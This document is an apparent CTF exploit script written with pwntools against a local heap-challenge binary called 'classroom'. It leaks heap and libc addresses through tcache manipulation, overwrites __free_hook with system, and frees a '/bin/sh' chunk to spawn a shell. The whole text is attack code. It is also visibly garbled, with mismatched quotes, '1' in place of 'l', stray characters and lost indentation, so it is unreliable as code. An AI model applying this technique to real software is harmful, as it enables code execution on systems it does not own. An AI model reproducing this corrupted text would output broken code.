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exp:

from pwn import *
p=process('./classroom")
elf=ELF('./classroom")
libc=ELF("/1ib/x86_64-1inux-gnu/libc.so0.6")
context.log level='debug'
def add(idx,name):
p.sendlineafter('>"','1")
p.sendlineafter('>"',str(idx))
p.sendlineafter('>"',name)

def delete(idx):
p.sendlineafter('>"','2")
p.sendlineafter('>"',str(idx))

def edit(idx,name):
p.sendlineafter('>"','3")
p.sendlineafter('>"',str(idx))
p.sendlineafter('>"',name)

for i in range(2):
add(i, 'aaaa')

for i in range(2):
delete(i)
p.sendlineafter('>"','1")

p.sendlineafter('>"',"'a'*0x1000)

p.sendline('1")
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p.recvuntil('Welcome my student :")
heap=u64(p.recv(6).1just(8,'\x00"'))
tcache=heap-0x5529d6062eb0+0x55a9d6051090
fake_chunk=heap-0x55b599377eb0+0x55b599377900
success( 'heap: '+hex(heap))

edit(1,p64(fake_chunk+8))

add(2, 'aaaa')

add(3,p64(0x5al))

delete(9)

delete(1)

edit(1,p64(fake_chunk+0x10))

add(4, 'bbbb")

gdb.attach(p)

add(5, 'ffff')

delete(5)

p.sendlineafter('>"','1")
p.sendlineafter('>"','a'*0x1000)
p.sendline('5")

p.recvuntil('Welcome my student :')
libc_base=u64(p.recv(6).1ljust(8, '\x00"'))+0x7ff826347000-0x7ff826532bed
success('libc_base: '+hex(1libc_base))

delete(9)

delete(1)
edit(1,p64(libc_base+libc.sym['__free_hook']))
add(6, '/bin/sh\xe0")

add(7,p64(libc_base+libc.sym[ 'system']))

delete(6)

#gdb.attach(p)

p.interactive()
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